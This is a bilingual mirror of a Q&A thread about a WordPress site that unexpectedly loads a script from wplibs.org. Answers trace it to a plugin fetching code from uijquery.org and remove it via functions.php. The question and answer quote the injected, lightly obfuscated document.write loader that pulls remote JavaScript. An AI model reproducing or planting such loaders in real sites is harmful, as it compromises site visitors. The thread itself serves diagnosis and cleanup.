简体   繁体   English

脚本行为异常

[英]Strange behavior with script

I'm running a new secured WordPress install (https). 我正在运行新的安全WordPress安装(https)。 In my code I load some JavaScript files (modernizr, cookie, and my own) 在我的代码中,我加载了一些JavaScript文件(modernizr,cookie和我自己的)

jQuery is automatically loaded by WordPress. jQuery由WordPress自动加载。

Installed plugins are Yoast SEO, WPML and SMK Sidebars. 已安装的插件是Yoast SEO,WPML和SMK侧边栏。

The issue is when I check the console in my browser, it shows me the following: 问题是当我在浏览器中检查控制台时,它显示以下内容:

Mixed Content: The page at ' https://www.myuri.com/ ' was loaded over HTTPS, but requested an insecure script ' http://www.wplibs.org/jquery.min.js '. 混合内容:“ https://www.myuri.com/ ”上的页面已通过HTTPS加载,但请求了不安全的脚本“ http://www.wplibs.org/jquery.min.js ”。 This request has been blocked; 该请求已被阻止; the content must be served over HTTPS. 内容必须通过HTTPS提供。

In the source code: 在源代码中:

<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>

I'm looking where the script "wplibs.com/jquery.min.js" comes from but I can't find. 我正在寻找脚本“ wplibs.com/jquery.min.js”的来源,但找不到。

Someone has a idea? 有人有主意吗?

I found the problem. 我发现了问题。 It is caused by plugins that make request to http://uijquery.org/jquery-1.6.3.min.js and get the body response, you will see the source code: 这是由向http://uijquery.org/jquery-1.6.3.min.js发出请求并获得正文响应的插件引起的,您将看到源代码:

<script type="text/javascript">
  var now = new Date().getTime();
  if (now%2 == 0) {
    if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 
  }
</script>

Try to look inside the files for the token "jquery.org" or "uijquery.org". 尝试在文件内部查找令牌“ jquery.org”或“ uijquery.org”。

@IvanRF is right! @IvanRF是正确的! I discovered before read it but it works for me too. 我在阅读之前发现了它,但它也对我有用。 Just adding 只需添加

remove_action('wp_footer', 'wp_func_jquery');

in functions.php of our WordPress theme. 在我们的WordPress主题的functions.php中。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM